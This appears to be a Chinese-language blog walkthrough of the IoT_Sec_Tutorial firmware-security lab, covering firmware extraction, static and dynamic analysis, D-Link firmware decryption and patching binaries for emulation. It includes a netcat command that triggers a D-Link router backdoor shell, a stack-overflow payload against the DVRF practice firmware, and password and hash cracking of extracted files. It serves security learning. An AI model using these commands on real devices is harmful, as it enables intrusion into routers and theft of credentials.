IOT安全学习之IoT_Sec_Tutorial
前言
IoT_Sec_Tutorial这个项目地址:IoT_Sec_Tutorial
为了更好的了解IOT,最近一直在学嵌入式开发,学累了就看看这个项目,也是花了几天时间终于完成了,这里大概复现一下。
IOT环境
之前在Ubuntu20.0上搭建了IOT的环境,但一直没用个,然后在网上发现了已经集成好了的IOT虚拟机挺好用的,现在已经更新到V4版本,不过我还是用的V3。
AttifyOS v3.0
AttifyOS v4.0
提取 IOT 固件
要提取的文件是 : RT-N300_3.0.0.4_378_9317-g2f672ff.trx
利用binwalk提取固件
binwalk -t -vv -e ./RT-N300_3.0.0.4_378_9317-g2f672ff.trx
加上-t -vv
参数查看详细的提取过程。通过输出信息,可以得知该固件系统没有加密压缩,好了之后就可以看到squashfs-root
这个文件夹了。得到的squashfs-root
就是固件系统
静态分析iot固件
接下来拿的是一个zip方式的固件,我们需要对它进行解压,在解压的时候发现有压缩包密码
这里可以用zip爆破极品工具ARCHPR
.
爆破出来密码是:beUT9Z
有一个坑点unzip
不能完整的解压需要使用7z
。
7z x ./DWR-932_B1_FW_v.02.02EU.zip
进入目录可以看到有很多的yaffs2文件
和mbn文件
。
这里由于Attify OS
没有yaffs2
要先下载,使用官方命令进行提取。
这里建议去问AI
怎么安装,我忘了具体是什么命令了,反正我也是安装AI装的。
然后:
sudo unyaffs 2K-mdm-image-mdm9625.yaffs2 yaff2s_root/
然后进入文件系统内。
先看看配置文件。
find . -name "*.conf"
其中的inadyn-mt.conf
文件引起了我们注意,这是no-ip
应用的配置文件,no-ip
就是一个相当于花生壳的东西,可以申请动态域名。我们从中可以发现泄露的no-ip
的登陆账号及密码。同时在etc/shadow中发现了root的的密码
这里就可以用John
来破解root的密码.
sudo john ./etc/shadow
然后也可以用firmwalker工具
来自动化遍历该固件系统中的所有可疑文件。
git clone https://github.com/craigz28/firmwalker.git
./firmwalker.sh ../IoT_Sec_Tutorial-master/demo/DWR-932_B1_FW_v.02.02EU/yaff2s_root/
之后会自动生成firmwalker.txt并将结果存入。
分析完配置文件后我们就可以开始分析有风险的二进制文件了。
在etc/init.d
中一个start_appmgr
脚本引起了我们注意,mgr
一般就是主控程序的意思。
然后在自启动中开机会以服务的形式运行/bin/appmgr
然后使用Ghidra
分析appmgr
文件,对于分析代码太多了可以使用AI大法
辅助分析
在“/bin/appmgr”
中,有一个线程会持续监听0.0.0.0:39889(UDP)
,并等待传入控制命令。
dword_7E174 = socket(2, 2, 0); // AF_INET(2), SOCK_DGRAM(2) - 创建UDP套接字
// ...
memset(&v64, 0, sizeof(v64));
v64.sa_family = 2; // AF_INET
*(_WORD *)v64.sa_data = -11877; // 设置端口号
if ( bind(dword_7E174, &v64, 0x10u) < 0 ) // 绑定到端口
当传入HELODBG
的时候会给一个shell
。所以poc
可以这样构造
echo -ne "HELODBG" | nc -u IP 39889
telnet IP
具体怎么写POC笔者也不知道,以后学会了补上。
动态分析IoT固件
一共有两个文件分别是: DVRF_v03.bin
* DWP2360b-firmware-v206-rc018.bin
*
使用firmware-analysis-toolkit
文件下的./fat.py
去模拟固件。
DVRF_v03.bin
笔者模拟运行一下发现network interfaces
是空的.
所以就用DWP2360b-firmware-v206-rc018.bin
来模拟
./fat.py ~/Desktop/IoT_Sec_Tutorial-master/demo/DWP2360b-firmware-v206-rc018.bin
箭头所指的就是访问链接。访问就是:
DVRF
这个固件是一个自制的充满漏洞的固件,供学习用的。然后再提取DVRF_v03.bin
文件系统
binwalk -t -vv -e ./DVRF_v03.bin
在pwnable/
文件目录下是有问题的程序,我们可以先分析./pwnable/Intro/stack_bof_01
文件。
可以看到该程序是MIPS32位的,并且什么保护都没开,直接拖入IDA分析。
可以看到这里有个栈溢出的漏洞,我们调试分析看看溢出到哪儿可以返回。
cp (which qemu-mipsel-static ) ./
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 (python -c "print('a'*200)")
然后新开一个窗口调试。
gdb-multiarch ./pwnable/Intro/stack_bof_01
set architecture mips
target remote 127.0.0.1:1234
然后分别在strcpy
和返回处
下断点查看
可以看到已经把我们输入的字符串储存到栈0x40800490
的地方,接着到返回地址处查看栈。
查看栈的数据
telescope $sp 60
然后ni
可以看到0x408cac28
就是返回地址,简单分析就能知道,溢出204字节
后就能覆盖返回地址。
因为程序本身就有后门,加上是小端序,所以进行如下构造。
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 (python -c "print('a'*204+'\x5c\x09\x40')")
可以看到已经利用成功了。
注意这里需要用0x5c
的地址才能利用成功,因为调试时发现不能访问$gp寄存器,所以就不能从有gp的地方开始。
解密dlink固件
本次要研究的是路由器Dlink-882
的固件
有如下文件
固件版本从旧到新依次为:
FW100B07 --> FW101B02 --> FW104B02 --> FW110B02 --> FW111B01 --> FW120B06 --> FW130B10
用binwalk
对这些文件进行检查:
sudo binwalk DIR-882_A1_FW100B07.bin DIR-882A1_FW1.11B01_Encrypt.bin DIR882_A1_FW101B02.bin DIR882A1_FW130B10_Beta_for_security_issues_Stackoverflow_20191219.bin DIR882A1_FW104B02_Middle_FW_Unencrypt.bin DIR_882_FW120B06.BIN DIR882A1_FW110B02.bin
然后可以看出DIR-882_A1_FW100B07.bin, DIR882_A1_FW101B02.bin,DIR882A1_FW104B02_Middle_FW_Unencrypt.bin
,这些文件是没有加密的,其它文件都是加密的。
那么我们可以确定104B02
是中间版本。固件版本迭代的过程经历了固件未加密到固件加密,说明中间肯定有个中间版本(类似下图),下图是固件从未加密到加密的升级原理图。
那么我们就可以从104B02
这个版本的固件中找到解密程序。
先提取文件:
sudo binwalk -t -vv -e ./DIR882A1_FW104B02_Middle_FW_Unencrypt.bin
然后进入提取出来的文件夹,发现有个A0固件,也同样提取。
sudo binwalk -t -vv -e ./A0
然后再提取 8AB758
固件
sudo binwalk -t -vv -e ./8AB758
之后就可以进入文件系统了
在bin
或者usr/bin
中找到decrypt
的相关程序,bin目录下就找到了
我们可以对这个加密程序进行一些逆向分析,分析出用的是什么加密算法。这里就不演示了,我们可以想个另一种方法,是不是可以使用这个程序直接对后面加密版本的固件进行解密呢?
sudo cp (which qemu-mipsel-static ) ./
sudo chroot . ./qemu-mipsel-static ./bin/imgdecrypt ./DIR_882_FW120B06.BIN
可以看到成功解密。
按照这个逻辑,可能Dlink的其他系列路由器也能通过imgdecrypt解密,大家可以去试一下。
修复固件运行环境
本次使用的固件是dir605L_FW_113.bin
拿到固件后,我们惯用的使用fat工具进行模拟,会发现它报错了.不是所有固件都能用firmadyne模拟的,尤其是那些需要与硬件设备交互的固件
那我们就先提取文件系统。
sudo binwalk -t -vv -e ./dir605L_FW_113.bin
模拟固件运行的实质其实就是把固件的Web程序跑起来,而模拟失败则说明Web程序运行出错了,我们接下来就要针对看看Web程序报错的原因以及如何修复运行环境,我们提取固件的文件系统,提取出来的路径为squashfs-root-0
我们可以用find . -name "boa*"
命令来定位该固件的Web程序,Boa程序
是一个轻量级的web服务器程序
,常见于嵌入式系统中。dlink
就是在boa
开源代码的基础上新增了很多功能接口以实现路由器上的不同功能。boa
程序的路径为/bin/boa
,同时我们发现在/etc/boa
路径下还有个boa的密码配置文件,我们可以直接获取到boa
加密后的密码。
然后我们尝试模拟这个Boa程序
sudo cp (which qemu-mips-static ) ./
sudo chroot . ./qemu-mips-static ./bin/boa
发现报错,那么我们就用Ghidra去定位报错点分析分析。
然后Ctrl+Shift+F
快速定位到代码。
查阅AI可以知道apmib_init
这个函数是从flash
中读取mib值到RAM中,模拟环境没有flash硬件,所以应该会读取失败。apmib_init
读取数据失败返回`0,赋值给$v0,然后bnez命令对$v0进行检测,若为0,则回显初始化失败,报错退出。
BENZ R1,NAME;//R1不等于0,程序跳转,以NAME为偏移地址
BEQZ R1,NAME;//R1=0,程序跳转到,以NAME为偏移地址
要想不执行后门的报错内容,就可以把bnez(0x14)
改为beqz(0x10)
。
右键patch后,保存即可。
保存程序具体的操作可以看:SavePatch
然后保存后,再替换掉原来的文件,重新模拟固件。
修补完成之后再次运行这个程序会发现这个程序还是有错误。。。。。创建东西错了,还有一个内存报错。
再继续跟进一下吧。
发现这两个函数都有报错的相关内容。先看create_chklist_file
找到了报错的地点,open函数导致.
然后再看create_devInfo_file
。
也是open出了问题。
前2个“Create chklist file error!”来自于create_chklist_file和create_devInfo_file函数,后面那个内存崩溃是 apmib_get
函数导致的。
然后可以动态调试一下看看,到底是哪个地方的问题。
sudo chroot . ./qemu-mips-static -g 1234 ./bin/boa
在如下地方下断点:
当运行到 apmib_get
函数si进入调用的函数,一直跟踪结果在如下地方发生了内存崩溃。
那既然在apmib_get这个函数这发生了崩溃,那我们可以将apmib_get里的跳转给nop掉,因为我们模拟固件,所以肯定没有硬件,这里对我们来说无用。
然后保存后再模拟。
可以看到终于启动成功了。
然后访问80端口。
草,又有问题
这里看到是Basic/Wizard_Easy_LangSelect.asp
文件的问题,看看这个文件
通过文件名可以猜测功能是选择页面语言,而它尝试从硬件设备读取语言,显然又会出错了。我们不需要和硬件交互。
那我们就想办法不让它进入这个页面,查看入口网页,发现逻辑是先判断系统语言,成功则直接进入Webcome
界面。那我们将失败和成功都进入welcome页面。
然后再次访问终于访问成功了。
总结
学到了很多,牛逼